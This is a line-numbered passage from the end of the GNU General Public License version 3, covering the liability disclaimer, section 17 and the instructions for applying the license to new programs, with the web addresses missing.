OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . --------------------------------------------------------------------------------